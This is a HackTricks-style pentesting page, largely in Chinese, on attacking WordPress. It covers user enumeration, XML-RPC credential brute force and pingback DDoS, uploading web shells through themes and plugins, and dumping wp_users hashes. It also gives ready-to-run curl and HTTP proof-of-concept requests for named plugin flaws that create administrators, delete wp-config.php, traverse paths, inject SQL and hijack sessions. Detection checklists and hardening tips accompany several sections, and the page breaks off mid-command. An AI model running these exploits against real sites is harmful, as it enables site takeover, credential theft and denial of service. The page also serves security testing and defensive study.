Wordpress
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
-
Uploaded 文件会被放到:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, 所以如果你修改主题中的某些 php 来获取 RCE,很可能会用到该路径。例如:使用 theme twentytwelve 可以 access 404.php 文件位于: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
在 wp-config.php 中可以找到数据库的 root 密码。
-
默认需要检查的登录路径:/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txt包含有用的信息,例如安装的 WordPress 版本。wp-activate.php在设置新 WordPress 网站时用于电子邮件激活流程。- 登录文件夹(可能被重命名以隐藏):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.php
xmlrpc.php是一个功能文件,允许通过 HTTP 作为传输机制并使用 XML 作为编码机制来传输数据。这种类型的通信已被 WordPress 的 REST API 所取代。wp-content文件夹是存放 plugins 和 themes 的主要目录。wp-content/uploads/是平台上任何上传文件存放的目录。wp-includes/该目录保存核心文件,例如证书、字体、JavaScript 文件和 widgets。wp-sitemap.xml在 Wordpress 5.5 及更高版本中,Worpress 会生成包含所有公开帖子和可公开查询的帖子类型及分类法的 sitemap XML 文件。
Post exploitation
wp-config.php文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、身份验证密钥和 salts 以及数据库表前缀。此配置文件还可以用于启用 DEBUG 模式,这在故障排除时非常有用。
用户权限
- Administrator
- Editor: 发布并管理他人及自己的帖子
- Author: 发布并管理自己的帖子
- Contributor: 编写并管理自己的帖子但不能发布
- Subscriber: 浏览帖子并编辑其个人资料
Passive Enumeration
Get WordPress version
检查是否能找到文件 /license.txt 或 /readme.html
在页面的 source code 中查看(示例来自 https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS 链接文件
.png)
- JavaScript 文件
.png)
获取插件
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
获取主题
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
提取版本(通用)
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
主动枚举
Plugins and Themes
你可能无法找到所有的 Plugins 和 Themes。为了发现所有这些,你需要对一个 Plugins 和 Themes 列表进行主动 Brute Force(幸运的是,我们有包含这些列表的自动化工具)。
用户
- ID Brute: 你可以通过对 WordPress 站点的用户 ID 进行 Brute Forcing 来获取有效用户:
curl -s -I -X GET http://blog.example.com/?author=1
如果响应为 200 或 30X,则表示该 id 为 有效。如果响应为 400,则该 id 为 无效。
- wp-json: 你也可以尝试通过查询来获取有关用户的信息:
curl http://blog.example.com/wp-json/wp/v2/users
另一个可能泄露一些用户信息的 /wp-json/ 端点是:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. 只会提供启用此功能的用户的信息。
Also note that /wp-json/wp/v2/pages could leak IP 地址。
- Login username enumeration: 在使用
/wp-login.php登录时,提示信息 会根据所输入的 用户名是否存在 而 不同。
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources。(例如,你可以自动化此过程 using this)。
To see if it is active try to access to /xmlrpc.php and send this request:
检查
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories 或 metaWeblog.getUsersBlogs 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任何一个,你可以发送类似的内容:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
如果凭证无效,200 响应中应出现消息 “Incorrect username or password”。
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
使用正确的凭证你可以上传一个文件。在响应中会出现路径 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
另外,有一种 更快的方法 可以使用 system.multicall 暴力破解凭证,因为你可以在同一请求中尝试多个凭证:
.png)
Bypass 2FA
此方法针对程序而非人为交互,且年代较久,因此不支持 2FA。 所以,如果你有有效的凭证但主入口受 2FA 保护,你可能能够滥用 xmlrpc.php 使用这些凭证登录并绕过 2FA。注意,你无法执行通过控制台能完成的所有操作,但正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中解释的那样,你仍可能获得 RCE。
DDoS or port scanning
如果你能在方法列表中找到 pingback.ping,你可以让 Wordpress 向任意主机/端口发送任意请求。
这可以被用来让 成千上万 的 Wordpress 站点 访问同一 位置(从而在该位置造成 DDoS),或者你可以用它让 Wordpress 去 扫描 某个内部 网络(你可以指定任意端口)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到 faultCode 的值 大于 0(17),则表示该 port 已开放。
查看上一节中 system.multicall 的用法,了解如何滥用此方法来造成 DDoS。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
此文件通常存在于 Wordpress 站点的根目录:/wp-cron.php
当访问此文件时,会执行一条“耗费大量资源”的 MySQL 查询,因此可能会被攻击者用来引发 DoS。
另外,默认情况下,wp-cron.php 会在每次页面加载时被调用(即任意客户端请求任何 Wordpress 页面时都会触发),在高流量站点上可能导致问题(DoS)。
建议禁用 Wp-Cron,并在主机内创建一个真实的 cronjob,按固定间隔执行所需操作(以避免问题)。
/wp-json/oembed/1.0/proxy - SSRF
尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,Worpress 站点可能会向你发起请求。
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
该工具检查是否存在 methodName: pingback.ping 和 路径 /wp-json/oembed/1.0/proxy,如果存在则尝试利用它们。
自动化工具
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
通过覆盖一个 bit 获取访问权限
这更多是出于好奇,而不是一次真实的攻击。在 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 /var/www/html/wp-includes/user.php 的位置 5389,将 NOT (!) 操作变为 NOP。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
修改所使用主题中的 php(需要 admin credentials)
Appearance → Theme Editor → 404 Template(在右侧)
将内容改为 php shell:
.png)
在网上搜索如何访问该已更新的页面。本例中你需要访问: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
你可以使用:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP 插件
可能可以将 .php 文件作为插件上传。
使用例如以下方法创建你的 php 后门:
.png)
然后添加一个新插件:
.png)
上传插件并点击 Install Now:
.png)
Click on Procced:
.png)
可能看起来什么都没发生,但如果你进入 Media,你会看到你的 shell 已上传:
.png)
访问它,你会看到用以执行 reverse shell 的 URL:
.png)
Uploading and activating malicious plugin
此方法涉及安装已知存在漏洞且可被利用以获取 web shell 的恶意插件。通过 WordPress 仪表盘按如下步骤进行:
- Plugin Acquisition: 从 Exploit DB 等来源获取插件,例如 here。
- Plugin Installation:
- 导航到 WordPress 仪表盘,然后前往
Dashboard > Plugins > Upload Plugin。 - 上传已下载插件的 zip 文件。
- Plugin Activation: 插件成功安装后,必须通过仪表盘将其激活。
- Exploitation:
- 将插件 “reflex-gallery” 安装并激活后,可对其进行利用,因为它已知存在漏洞。
- Metasploit framework 提供了针对该漏洞的 exploit。加载相应模块并执行特定命令后,可以建立 meterpreter 会话,从而获得对站点的未授权访问。
- 需要注意的是,这只是利用 WordPress 站点的众多方法之一。
内容包括展示在 WordPress 仪表盘中安装并激活插件步骤的图示。但重要的是要注意,未经授权以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,仅在合法情境下,例如获得明确许可的 penetration testing 中使用。
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
从 XSS 到 RCE
- WPXStrike: WPXStrike 是一个脚本,旨在将 Cross-Site Scripting (XSS) 漏洞升级为 Remote Code Execution (RCE) 或 WordPress 中的其他严重漏洞。更多信息请查看 this post。它提供对 WordPress 6.X.X、5.X.X 和 4.X.X 版本的支持,并允许:
- Privilege Escalation: 在 WordPress 中创建一个用户。
- (RCE) Custom Plugin (backdoor) Upload: 将自定义插件(后门)上传到 WordPress。
- (RCE) Built-In Plugin Edit: 编辑 WordPress 的内置插件。
- (RCE) Built-In Theme Edit: 编辑 WordPress 的内置主题。
- (Custom) Custom Exploits: 针对第三方 WordPress 插件/主题的自定义利用。
后渗透
提取用户名和密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
更改 admin 密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress 插件 Pentest
攻击面
了解 Wordpress 插件如何暴露功能对于发现其功能上的漏洞至关重要。你可以在下面的要点中看到插件可能暴露功能的方式,以及 this blog post 中的一些有漏洞的插件示例。
wp_ajax
插件将函数暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑、authorization 或 authentication 漏洞。此外,这些函数通常会将 authentication 和 authorization 都基于 Wordpress nonce 的存在,而 任何在 Wordpress 实例中已认证的用户都可能拥有(与其角色无关)。
这些是可以用来在插件中暴露函数的函数:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
使用 nopriv 会使该端点对任何用户可访问(即使是未认证的用户)。
Caution
此外,如果函数只是使用
wp_verify_nonce来检查用户的授权,该函数仅检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能能够访问高权限的操作。
- REST API
也可以通过在 wordpress 中使用 register_rest_route 函数注册 REST API 来暴露函数:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。
如果使用内置的 __return_true 函数,它将直接跳过用户权限检查。
- 直接访问 php 文件
当然,Wordpress 使用 PHP,插件内的文件可以被 Web 直接访问。因此,如果某个插件暴露了只需访问该文件即可触发的易受攻击功能,任何用户都可以利用它。
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一些插件为内部集成或 reverse proxies 实现了“trusted header” 速记,然后使用该 header 为 REST requests 设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者可以伪造它并以 administrator 身份访问有权限的 REST routes。
- 影响:unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(强制用户 ID 为 1,通常是第一个管理员账户。) - 被利用的路由:
POST /wp-json/wp/v2/users,使用提升的角色数组。
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
- WordPress core 对此路由期望
create_users能力;该插件通过直接从 header 设置当前用户上下文来绕过此检查。
Expected success indicators
- HTTP 201,返回描述已创建用户的 JSON body。
- 在
wp-admin/users.php中可见新的 admin 用户。
Detection checklist
- 使用 grep 搜索
getallheaders(),$_SERVER['HTTP_...'],或读取自定义 header 来设置用户上下文的 vendor SDK(例如wp_set_current_user(),wp_set_auth_cookie())。 - 检查 REST 注册,查找缺乏健壮
permission_callback检查且依赖请求头的特权回调。 - 查找在只由 header 值门控的 REST 处理程序中使用核心用户管理函数(
wp_insert_user,wp_create_user)的情况。
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 主题和插件经常通过 wp_ajax_ 和 wp_ajax_nopriv_ 钩子暴露 AJAX 处理器。当使用 nopriv 变体时,回调将可被未认证访客访问,因此任何敏感操作还必须额外实现:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), and - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
此代码片段引入的问题:
- Unauthenticated access – 注册了
wp_ajax_nopriv_hook。 - No nonce / capability check – 任何访客都可以访问该端点。
- No path sanitisation – 用户控制的
fontfamily字符串未经过滤就被拼接到文件系统路径上,允许经典的../../traversal。
Exploitation
攻击者可以通过发送单个 HTTP POST 请求删除位于 uploads 基目录以下(通常为 <wp-root>/wp-content/uploads/)的任何文件或目录:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
因为 wp-config.php 位于 uploads 之外,在默认安装中四个 ../ 序列就足够了。删除 wp-config.php 会在下一次访问时强制 WordPress 进入 安装向导,从而实现完整站点接管(攻击者只需提供新的 DB 配置并创建一个 admin 用户)。
其他有影响的目标包括插件/主题的 .php 文件(用于破坏安全插件)或 .htaccess 规则。
检测清单
- 任何调用文件系统辅助函数(
copy(),unlink(),$wp_filesystem->delete()等)的add_action( 'wp_ajax_nopriv_...')回调。 - 将未清理的用户输入拼接到路径中(查找
$_POST,$_GET,$_REQUEST)。 - 缺少
check_ajax_referer()和current_user_can()/is_user_logged_in()。
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
许多插件通过在 user meta 中保存原始角色以便稍后恢复,来实现 “view as role” 或临时切换角色的功能。如果恢复路径仅依赖请求参数(例如 $_REQUEST['reset-for'])和插件维护的列表,而没有检查 capabilities 和有效的 nonce,则会导致 vertical privilege escalation。
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实案例。reset 分支如果在内部数组 $options['viewing_admin_as_role_are'] 中找到 reset-for=<username>,就会基于该项恢复角色,但在删除当前角色并从 user meta _asenha_view_admin_as_original_roles 重新添加保存的角色之前,既没有执行 current_user_can() 检查,也没有进行 nonce 验证:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
为什么会被利用
- 信任
$_REQUEST['reset-for']和一个插件选项,但没有服务器端授权。 - 如果用户以前在
_asenha_view_admin_as_original_roles中保存过更高权限并被降级,他们可以通过访问重置路径恢复这些权限。 - 在某些部署中,任何已认证用户都可以为仍存在于
viewing_admin_as_role_are的其他用户名触发重置(授权缺陷)。
利用示例
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
在易受攻击的构建中,这会移除当前角色并重新添加保存的原始角色(例如 administrator),effectively escalating privileges。
Detection checklist
- 查找在 user meta 中持久化“原始角色”的角色切换功能(例如
_asenha_view_admin_as_original_roles)。 - 识别重置/恢复的路径:
- 从
$_REQUEST/$_GET/$_POST读取用户名。 - 通过
add_role()/remove_role()修改角色,但没有使用current_user_can()和wp_verify_nonce()/check_admin_referer()。 - 基于插件选项数组(例如
viewing_admin_as_role_are)进行授权,而不是基于执行者的 capabilities。
- 从
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
一些插件将用户切换助手挂接到公共 init 钩子,并从客户端可控的 cookie 派生身份。如果代码在没有验证身份、权限和有效 nonce 的情况下调用 wp_set_auth_cookie(),任何未认证的访客都可以强制以任意用户 ID 登录。
典型易受攻击的模式(简化自 Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
为什么可被利用
- 公共
init钩子使处理程序可被未认证的用户访问(没有is_user_logged_in()保护)。 - 身份来源于客户端可修改的 cookie(
original_user_id)。 - 直接调用
wp_set_auth_cookie($uid)会在没有任何权限/nonce 检查的情况下将请求者以该用户登录。
利用(未认证)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
通用 edge/server WAFs 针对常见模式(SQLi、XSS、LFI)进行调整。许多高影响的 WordPress/plugin 漏洞属于应用层特定的逻辑/认证缺陷,除非引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。
Offensive notes
- 针对 plugin-specific endpoints 使用 clean payloads:
admin-ajax.php?action=...、wp-json/<namespace>/<route>、custom file handlers、shortcodes。 - 先测试 unauth paths(AJAX
nopriv、REST 带宽松的permission_callback、public shortcodes)。默认 payloads 往往无需混淆即可成功。 - 典型高影响情形:privilege escalation(访问控制失效)、arbitrary file upload/download、LFI、open redirect。
Defensive notes
- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层、针对漏洞的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查(capabilities、nonces、严格的输入验证),而非依赖负向的 regex 过滤。
WordPress Protection
Regular Updates
确保 WordPress、plugins 和 themes 已为最新版本。还要确认在 wp-config.php 中启用了自动更新:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
此外,只安装可信的 WordPress 插件和主题。
安全插件
其他建议
- 移除默认 admin 用户
- 使用 强密码 和 2FA
- 定期 审查 用户 权限
- 限制登录尝试次数 以防止 Brute Force 攻击
- 重命名
wp-admin.php文件,并仅允许内部或来自特定 IP 地址的访问。
未经认证的 SQL Injection(由于验证不足)(WP Job Portal <= 2.3.2)
WP Job Portal 的招聘插件暴露了一个 savecategory 任务,该任务最终在 modules/category/model.php::validateFormData() 中执行以下存在漏洞的代码:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
该代码片段引入的问题:
- 未消毒的用户输入 –
parentid直接来自 HTTP 请求。 - 在 WHERE 子句中的字符串拼接 – 未使用
is_numeric()/esc_sql()/ 预处理语句。 - 未认证即可访问 – 尽管该 action 通过
admin-post.php执行,唯一的校验是 CSRF nonce (wp_verify_nonce()),任何访客都可以从包含短代码[wpjobportal_my_resumes]的公开页面获取它。
利用
- 获取一个新的 nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- 通过滥用
parentid注入任意 SQL:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
响应会泄露注入查询的结果或修改数据库,从而证明存在 SQLi。
未认证的任意文件下载 / Path Traversal (WP Job Portal <= 2.3.2)
另一个任务 downloadcustomfile 允许访客通过 path traversal 下载磁盘上的 任意文件。漏洞汇聚点位于 modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name 是攻击者可控并被拼接,未经过过滤。再次说明,唯一的门槛是可以从 resume 页面获取的 CSRF nonce。
利用
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
服务器响应包含 wp-config.php 的内容,leaking DB credentials and auth keys。
通过 Social Login AJAX fallback 实现未认证账户接管(Jobmonster Theme <= 4.7.9)
许多 themes/plugins 会通过 admin-ajax.php 暴露 “social login” helpers。如果一个未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider 数据缺失时信任客户端提供的标识符并随后调用 wp_set_auth_cookie(),则会导致完全的认证绕过。
典型的有缺陷的模式(简化)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Why it’s exploitable
- 通过 admin-ajax.php 可在未认证情况下访问(wp_ajax_nopriv_… action)。
- 在进行状态更改前没有 nonce 或 capability 检查。
- 缺少 OAuth/OpenID provider 验证;默认分支会接受攻击者输入。
- get_user_by(‘email’, $_POST[‘id’]) 后接 wp_set_auth_cookie($uid) 会把请求者认证为任何存在的邮箱地址对应的用户。
Exploitation (unauthenticated)
- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200,响应体为 JSON,类似 {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* 为受害用户设置;随后的请求将被认证。
Finding the action name
- 检查主题/插件的 social login 代码中是否有 add_action(‘wp_ajax_nopriv_…’, ‘…’) 注册(例如 framework/add-ons/social-login/class-social-login.php)。
- 在 AJAX 处理程序中 grep 查找 wp_set_auth_cookie(), get_user_by(‘email’, …)。
Detection checklist
- Web 日志显示未认证的 POST 到 /wp-admin/admin-ajax.php,包含 social-login action 和 id=
。 - 200 响应并返回成功 JSON,紧接着来自相同 IP/User-Agent 的已认证流量。
Hardening
- 不要从客户端输入推断身份。只接受来自已验证 provider token/ID 的 emails/IDs。
- 即便是登录辅助也要要求 CSRF nonces 和 capability checks;除非绝对必要,否则避免注册 wp_ajax_nopriv_。
- 在服务器端验证和核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。
- 考虑暂时禁用 social login,或在边缘进行虚拟修补(阻断易受攻击的 action)直到修复。
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – 铸造一个 connection key 并使用它
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
为何可被利用
- 敏感的 REST route 仅由低熵的身份证明(username)保护,或缺少 permission_callback
- 没有 capability 强制检查;生成的 key 被视为通用绕过
检测清单
- 在插件代码中用 grep 查找 register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- 任何根据请求提供的身份(username/email)发放 tokens/keys 的 route,且未绑定到已认证用户或 capability
- 查找后续接受该生成 token/key 的 routes,但没有服务端 capability 检查
加固建议
- 对于任何特权 REST route:要求 permission_callback 强制调用 current_user_can() 来检查所需 capability
- 不要基于客户端提供的身份生成长期有效的 keys;如有必要,应在认证后发放短期、绑定用户的 tokens,并在使用时重新检查 capability
- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以保证),并拒绝满足 !is_user_logged_in() || !current_user_can(
) 的请求
Nonce gate 滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)
Nonces 用于防止 CSRF,而不是用于授权。如果代码把 nonce 验证通过当作放行信号,随后跳过对特权操作(例如 install/activate plugins)的 capability 检查,未认证的攻击者可以满足弱的 nonce 要求并通过安装带后门或脆弱的插件达到 RCE。
- 易受攻击路径: plugin/install_and_activate
- 缺陷:nonce 哈希检查薄弱;一旦 nonce “通过” 就没有 current_user_can(‘install_plugins’|‘activate_plugins’) 检查
- 影响:通过任意插件安装/激活导致完全入侵
PoC(具体形式取决于插件;仅为示例)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
